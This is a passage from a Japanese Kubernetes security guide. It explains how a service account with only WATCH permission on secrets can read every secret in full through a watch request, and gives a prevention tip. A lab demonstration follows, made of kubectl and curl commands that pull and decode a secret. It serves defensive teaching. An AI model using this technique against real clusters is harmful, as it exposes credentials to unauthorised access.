ウォッチのレスポンスには更新された際にそれらの名前だけではなくすべてのアイテムが完全に含まれています。 WATCH パーミッションを持つアカウントは API から特定の値を取得したり、すべてのアイテムをリストすることはできませんが、ウォッチ呼び出し中にはすべてのアイテムを完全に取得し、ウォッチが中断されなければ新しいアイテムもすべて取得します。
防止方法
WATCH パーミッションはそのアカウントにそのリソースのすべてを GET および LIST することを許可している場合にのみ付与してください。
攻撃シナリオの例
# Create example A, which can only watch secrets in the default namespace
# It does not have the GET permission
kubectl create serviceaccount only-watch-secrets-sa
kubectl create role only-watch-secrets-role --verb=watch --resource=secrets
kubectl create rolebinding only-watch-secrets-default-ns --role=only-watch-secrets-role --serviceaccount=default:only-watch-secrets-sa
# Now to impersonate that service account
kubectl proxy &
# Create a secret to get
kubectl create secret generic abcd --from-literal=secretPassword=verySecure
# Prove we cannot get that secret
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets/abcd \
-H "Authorization: Bearer $(kubectl -n default get secrets -ojson | jq '.items[]| select(.metadata.annotations."kubernetes.io/service-account.name"=="only-watch-secrets-sa")| \
.data.token' | tr -d '"' | base64 -d)"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "secrets \"abc\" is forbidden: User \"system:serviceaccount:default:only-watch-secrets-sa\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"name": "abcd",
"kind": "secrets"
},
"code": 403
}
# Prove we cannot list the secrets either
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets?limit=500 \
-H "Authorization: Bearer $(kubectl -n default get secrets -ojson | jq '.items[]| select(.metadata.annotations."kubernetes.io/service-account.name"=="only-watch-secrets-sa")| \
.data.token' | tr -d '"' | base64 -d)"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "secrets is forbidden: User \"system:serviceaccount:default:only-watch-secrets-sa\" cannot list resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"details": {
"kind": "secrets"
},
"code": 403
}
# Now to get all secrets in the default namespace, despite not having "get" permission
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets?watch=true \
-H "Authorization: Bearer $(kubectl -n default get secrets -ojson | jq '.items[]| select(.metadata.annotations."kubernetes.io/service-account.name"=="only-watch-secrets-sa")| \
.data.token' | tr -d '"' | base64 -d)"
{
"type": "ADDED",
"object": {
"kind": "Secret",
"apiVersion": "v1",
"metadata": {
"name": "abcd",
"namespace": "default",
"selfLink": "/api/v1/namespaces/default/secrets/abcd",
"uid": "725c84ee-8dc7-41ef-a03e-193225e228b2",
"resourceVersion": "1903164",
"creationTimestamp": "2022-09-09T13:39:43Z",
"managedFields": [
{
"manager": "kubectl-create",
"operation": "Update",
"apiVersion": "v1",
"time": "2022-09-09T13:39:43Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:secretPassword": {}
},
"f:type": {}
}
}
]
},
"data": {
"secretPassword": "dmVyeVNlY3VyZQ=="
},
"type": "Opaque"
}
}
REDACTED OTHER SECRETS
# crtl+c to stop curl as this http request will continue
# Proving that we got the full secret
echo "dmVyeVNlY3VyZQ==" | base64 -d
verySecure
# Cleanup
kubectl delete serviceaccount only-watch-secrets-sa
kubectl delete role only-watch-secrets-role
kubectl delete rolebinding only-watch-secrets-default-ns --role=only-list-secrets-role --serviceaccount=default:only-list-secrets-sa
kubectl delete secret abcd
# Kill backgrounded kubectl proxy
kill "%$(jobs | grep "kubectl proxy" | cut -d [ -f 2| cut -d ] -f 1)"